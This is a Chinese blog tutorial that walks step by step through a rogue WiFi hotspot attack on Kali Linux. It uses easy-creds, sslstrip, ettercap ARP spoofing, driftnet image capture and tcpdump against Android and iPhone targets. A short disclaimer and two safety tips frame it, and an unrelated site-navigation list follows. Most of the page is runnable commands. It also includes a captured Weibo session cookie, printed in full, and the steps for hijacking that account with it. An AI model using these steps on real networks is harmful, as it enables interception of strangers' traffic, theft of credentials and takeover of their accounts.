[实战]如何在Kali Linux中进行WIFI钓鱼?
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!
0x00 实验环境
操作系统:Kali 1.0 (VM)
FackAP: easy-creds
硬件:NETGEAR wg111 v3 RTL8187B 网卡(kali下免驱)
靶机:安卓、iPhone设备
0x01 环境搭建
git clone https://github.com/brav0hax/easy-creds
cd easy-creds
bash install.sh
选择第一项:1. Debian/Ubuntu and derivatives
这一步设定easy-creds的安装目录:/opt ,安装过程中会从国外网站下载一些依赖包以及第三方软件,这一过程中建议通过访问外国网站来节省时间。
当看到提示happy hunting的时候便意味着安装完成了:
0x02
根据上述步骤已将easy-creds安装到Kali中,我们可以在终端执行easy-creds运行,接下来我们需要对软件、系统参数进行一些修改:
2.1 修改etter uid、gid值 &开启iptables端口转发
kali中自带了中间人攻击的一些工具,如:ettercap,在第一次使用ettercap时,我们需要修改其默认配置文件/etc/ettercap/etter.conf: (有的系统中,ettercap的配置文件路径为:/etc/etter.conf)
需要我们把ettercap的ec_uid、ec_gid的值修改为0:
另外,如果系统使用了iptables防火墙,还需取消#后的注释使iptables配置生效,将:
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
修改为:
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
2.2 开启数据包转发:
echo 1 >> /proc/sys/net/ipv4/ip_forward
2.3 配置iptables规则:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
2.4 运行sslstrip
sslstrip -l 8080
2.5 开启网络管理 &重启网络管理服务
vim /etc/NetworkManager/NetworkManager.conf
将managed=false修改为managed=true:
重启网络管理服务:
service network-manager restart
0x03 运行easy-creds
终端执行:easy-creds 选择第三项:FakeAP Attacks
选择第一项:FakeAP Attack Static
y确定包含sidejacking劫持攻击:
下一步选择WIFI网络的流量入口:eth0
选择无线网络接口&设备:wlan0
设定WIFI-SSID:CMCC
WIFI网络信道:5
mon0
n
at0
n
为无线网络设置网段:192.168.88.0/24
设定DNS服务器:8.8.8.8
完成之后,easy-creds启动了Airbase-NG、DMESG、SSLStrip、Ettercap tunnel、URL snarf、Dsniff等工具:
红色部分显示安卓、iPhone靶机成功连入钓鱼WIFI环境,URL snarf也捕获到了两台设备正在访问的网站网址等信息。
0x04 Hacking for fun
4.1 “绵羊墙”
driftnet是一款简单而使用的图片捕获工具,能够捕获到网络数据包中的图片,同时支持抓取和显示音频文件,可用于捕获微信朋友圈中的相片、微博配图等等。
driftnet -i at0 (-i指定监听的网络接口)
4.2 MITM中间人攻击
Ettercap利用ARP欺骗,监听同一网段内某台主机甚至所有主机的网络通信流量,抓取其它主机通信流量中的Cookie等信息:
ettercap -i at0 -T -M arp:remote /192.168.88.1/ // (通过ARP欺骗,监听192.168.88.0/24 网段所有主机通信流量)
4.3 利用Cookie登陆受害者账户
利用Cookie前,我们需要下载浏览器的一些Cookie相关的插件,如cookie manager、cookie editor。
这里我使用了:Modify Headers for Google Chrome
4.3.1 捕获到的微博Cookie数据:
Wed Jul 20 11:27:50 2016
TCP 192.168.88.100:50664 --> 180.149.139.248:80 | AP
GET /unread?t=1468985586846 HTTP/1.1.
Host: m.weibo.cn.
Connection: keep-alive.
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/13F69 UCBrowser/10.9.19.815 Mobile.
Cookie: H5_INDEX=3; H5_INDEX_TITLE=0xroot; SUB=_2A256ilXJDeTxGeVK7VAY8y3KyjiIHXVWdXuBrDV6PUJbkdBeLRb1kW2Qqy_JChRgGgUi-REU1X25o5jdzQ..; SUHB=0y0p0SAr00Gj3K; _T_WM=132ca5c49dea82a69fb16ebcdaae493a; gsid_CTandWM=4um4CpOz5VMlYWGOqKlx8ewRL9U.
Accept: application/json, text/javascript, */*; q=0.01.
X-Requested-With: XMLHttpRequest.
Accept-Language: zh-cn.
Referer: http://m.weibo.cn/.
Accept-Encoding: gzip,deflate.
.
4.3.2 清空浏览器内weibo.cn的Cookie:
4.3.3 导入微博Cookie
选择右上角+ 增加Cookie:
Action=Modify
Name=Cookie
Value=H5_INDEX=3; H5_INDEX_TITLE=0xroot; SUB=_2A256ilXJDeTxGeVK7VAY8y3KyjiIHXVWdXuBrDV6PUJbkdBeLRb1kW2Qqy_JChRgGgUi-REU1X25o5jdzQ..; SUHB=0y0p0SAr00Gj3K; _T_WM=132ca5c49dea82a69fb16ebcdaae493a; gsid_CTandWM=4um4CpOz5VMlYWGOqKlx8ewRL9U.
4.3.4 访问m.weibo.cn:
0x05 嗅探数据包&协议分析
5.1 wireshark
5.2 tcpdump
tcpdump -i at0 -w sniffe.dump
5.3 ssltrips嗅探https加密流量
捕获HTTPS通信传输中的账号、密码:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
ssltrips -p -l 10000 -w log.txt
0x06 注意事项
1.easy-creds生成的日志文件过大,建议在/tmp目录中启动easy-creds(即使忘了删easy-creds日志,系统重启后自动清空/tmp目录)
2.如果连入钓鱼热点的设备不能联网了及时检查:/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
当发现值为0的时候需再次执行:
echo 1 >> /proc/sys/net/ipv4/ip_forward
3.easy-creds目前不兼容kali 2.0,所以不建议在kali 2.0 系统中安装easy-creds;
0x07 安全建议
1.不随便连陌生 WIFI,及时注销登录状态可使Cookie时效;
2.不使用WIFI时及时关闭手机WIFI,避免自动连入诸如CMCC这一类的公共开放无线热点。
- vue.js使用props在父子组件之间传参
- JS中使用正则表达式替换对象里的大小写
- JS中const、var 和let的区别
- 动态计算rem的js代码
- 阻止浏览器冒泡事件,兼容firefox和ie
- JS使用循环按指定倍数分割数组组成新的数组的方法
- HttpServletRequest.getParameter()出现乱码现象解决方案
- 海量数据迁移之外部表加载(100天)
- Vue.js实现一个SPA登录页面的过程
- vue实现侧边栏手风琴效果
- 关于vue的使用计算属性VS使用计算方法的问题
- 如何在vue中使用sass
- vue -- v-cloak解决刷新或者加载出现闪烁(显示变量)
- jquery实现上下滑动选择
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- python第三十一课--递归(3.递归的弊端)
- python第三十二课——栈
- linux系统运维企业常见面试题集合(三)
- python第三十二课——队列
- python第三十四课——1.匿名函数的定义和使用
- python第三十四课——2.匿名函数配合容器函数的使用
- 专家专栏|使用agent2自定义插件采集通过MQTT协议发送的数据
- Linux系统双网卡绑定配置教程
- python第三十五课——生成器
- python第三十六课——1.可迭代对象
- Linux系统Shell编程——脚本编写思路与过程
- python第三十六课——2.迭代器对象
- python第三十七课——模块
- Linux系统MySQL数据库主从同步实战过程
- 最火的java8新特性:Lambda 表达式